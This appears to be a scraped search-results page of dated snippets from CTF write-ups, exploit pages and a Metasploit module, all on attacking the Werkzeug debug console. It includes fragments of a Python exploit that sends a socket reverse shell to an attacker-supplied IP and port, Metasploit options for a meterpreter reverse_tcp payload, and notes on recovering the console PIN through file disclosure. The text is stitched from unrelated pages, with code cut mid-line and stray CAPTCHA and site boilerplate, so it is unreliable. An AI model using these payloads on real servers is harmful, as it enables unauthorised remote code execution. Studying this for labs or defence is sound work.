As explained by Carlos Polop in Hacktricks.xyz, this exploit is to access /console from Werkzeug when it requires a pin. This Console is a debug console that is Python based, which means, once you access this debug console, you could launch ...

July 20, 2020 - Sure enough this sucker was hosting a Werkzeug Debugger console me to throw some python commands at it. I smelled an RCE the minute I laid eyes on this console so I tested it with a whoami command using python. Sure enough, it spit back at me with the user megan. ... Now that I knew this thing was vulnerable I setup a netcat listener on my machine and threw in a python reverse shell command into the Werkzeug Debugger console grabbing the connection back on my machine.

January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%

December 29, 2022 - Since the console already knows that we’re running Python, remove the “python -c” from the beginning as well as the quotes. Then add the IP and port of your machine. Before you hit Enter, make sure to set up a netcat listener on the port you used in the script! There we have it! We have officially exploited the Werkzeug vulnerability and established a reverse shell connection.

December 4, 2022 - msf6 exploit(multi/http/werkzeug_debug_rce) > show options Module options (exploit/multi/http/werkzeug_debug_rce): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /console yes URI to the console VHOST no HTTP server virtual host Payload options (python/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.204.3 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 werkzeug 0.10 and older

print "[+] Sending reverse shell to %s:%s, please remember you have to use netcat listening in %s:%s" % (sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4]) ... response = requests.get("http://%s:%s/console" % (sys.argv[1],sys.argv[2]), params=data,headers=response.headers)

May 29, 2022 - Nice Box! Just learned few things! Thank you guys for the hints on the comments, it really helped. So I will let my comments. Since this is my frist time doing this, please I’m sorry if it’s a spoiler, not sure how it work but I would appreciate if you exclude it in that case.

print u"\n\u001b[35;1mTrying to Create Reverse Shell..\u001b[0m\n" · print u"\n\u001b[35;1mREMEMBER TO USE NETCAT TO WAIT FOR THE CONNECTION..\u001b[0m\n" · · parameters = { · '__debugger__': 'yes', · 'cmd': payload, · 'frm': '0', · 's': secret · } · · resp = requests.get('http://%s:%s/console' % (baseUrl,basePort), params=parameters) ·

September 30, 2021 - You can find the PIN printed out on the standard output of your shell that runs the server · Locate vulnerable Werkzeug debug console at path vulnerable-site.com/console, but is locked by secret PIN number. You can reverse the algorithm generating the console PIN.

Loading domain · Just a moment — verifying connection security · We are checking that your connection to this site is secure · Screen ID: SC-7DA7C11FD595

As explained by Carlos Polop in Hacktricks.xyz, this exploit is to access /console from Werkzeug when it requires a pin. This Console is a debug console that is Python based, which means, once you access this debug console, you could launch ...

August 4, 2023 - Entering this pin on the prompt, we’ll get access to the console and can run commands to get a reverse shell

January 18, 2024 - A security research site.

2 days ago - GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :) \xc2\xb7 GitHub · https://www.daehee.com/werkzeug-console-pin-exploit/

August 17, 2015 - Information Security Services, News, Files, Tools, Exploits, Advisories, and Whitepapers

March 3, 2021 - Click “generate”, wait few seconds and we get a reverse shell.

June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

Common vulnerabilities and Exposures (CVE) · We're sorry but the CVE Website doesn't work properly without JavaScript enabled. Please enable it to continue

September 8, 2022 - If I go to revshells.com and pick any python shell and execute it in the console, we can easily get a reverse shell from there.

April 10, 2023 - Clicking the terminal icon opened a popup requiring a PIN to access the debugging console, but if an LFI exists within the application that allows you to read files on the entire filesystem you can potentially reverse engineer the PIN.